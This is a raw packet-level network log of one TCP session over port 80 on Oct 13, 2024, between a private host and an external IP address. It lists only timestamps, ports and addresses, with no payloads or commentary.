Oct 13, 2024 11:54:13.717520952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717521906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717544079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717556000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717592001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717616081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717623949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717658997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717664003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717693090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717720985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717720985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717735052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717751980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717770100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717788935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717803001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717824936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717835903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717864990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717878103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717909098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717930079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717950106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.717964888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717995882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.717998981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718024969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718029022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718050003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718060970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718089104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718096018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718112946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718128920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718153000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718164921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718195915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718197107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718230963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718235970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718270063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718286037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718307018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718321085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718353987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718381882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718389034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718422890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718424082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718461037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718463898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718486071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718496084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718529940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718554020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718620062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718655109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718661070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718688965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718704939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718722105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718724966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718745947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718760014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718794107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718821049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718827963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718854904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718864918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718898058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718898058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718915939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718935013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718961954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.718969107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.718986988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719002962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719026089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719037056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719049931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719072104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719093084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719105005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719127893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719139099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719166994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719171047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719189882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719206095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719228983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719238997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719265938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719273090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719302893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719306946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719326973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719342947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719362974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719376087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719422102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719429016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719448090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719465971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719491959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719500065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719530106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719532967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719567060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719568014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719587088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719604015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719636917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719662905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719670057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719705105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719706059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719738007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719739914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719762087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719772100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719803095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719808102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.719826937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.719878912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807609081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807681084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807738066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807770967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807786942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807823896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807851076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807851076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807878971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807885885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807920933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807936907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.807950974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.807981014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808001041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808001995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808041096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808063984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808072090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808099031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808105946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808144093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808159113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808187008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808193922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808224916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808231115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808250904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808264017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808290005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808322906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808326960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808357000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808379889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808393002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808429003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808429003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808465958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808475971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808501005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808506012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808527946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808537006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808566093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808598995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808605909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808633089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808636904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808672905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808684111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808691025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808717012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808772087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808789015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808805943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808829069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808840990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808871984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808873892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808891058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808904886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808931112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.808959007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.808998108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809010983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809020042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809043884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809068918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809097052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809098959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809156895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809156895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809196949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809212923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809247971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809251070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809303045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809309006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809336901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809370041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809392929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809402943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809431076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809441090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809459925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809492111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809495926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809528112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809550047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809583902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809608936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809637070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809649944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809674025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809694052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809726000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809735060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809758902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809787035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809793949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809809923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809828043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809854031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809860945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809885025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809912920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809926033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809947968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.809969902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.809981108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810000896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810014963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810036898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810065031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810074091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810097933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810123920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810132980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810149908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810167074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810192108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810195923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810233116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810308933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810362101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810365915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810394049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810425997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810453892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810476065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810488939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810513020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810535908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810544968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810580969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810581923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810622931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810631037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810645103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810666084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810693026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810698032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810731888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810744047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810765028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810765028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810784101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810797930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810833931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810859919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810868979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810902119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810902119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810934067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810936928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810957909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.810971022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.810997963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811006069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811039925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811042070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811062098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811075926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811105967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811106920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811139107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811155081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811155081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811176062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811211109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811244011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811271906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811271906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811275959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811311960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811311960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811328888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811347008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811364889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811379910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811435938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811435938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811470985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811486959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811505079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811523914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811538935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811559916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811569929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811600924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811605930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811639071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811640024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811654091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811675072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811691046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811707973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811726093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811743975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811764002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811780930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811801910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811815977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811831951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811847925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811861992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:13.811882973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:13.811913013 CEST	49730	80	192.168.2.4	185.215.113.37
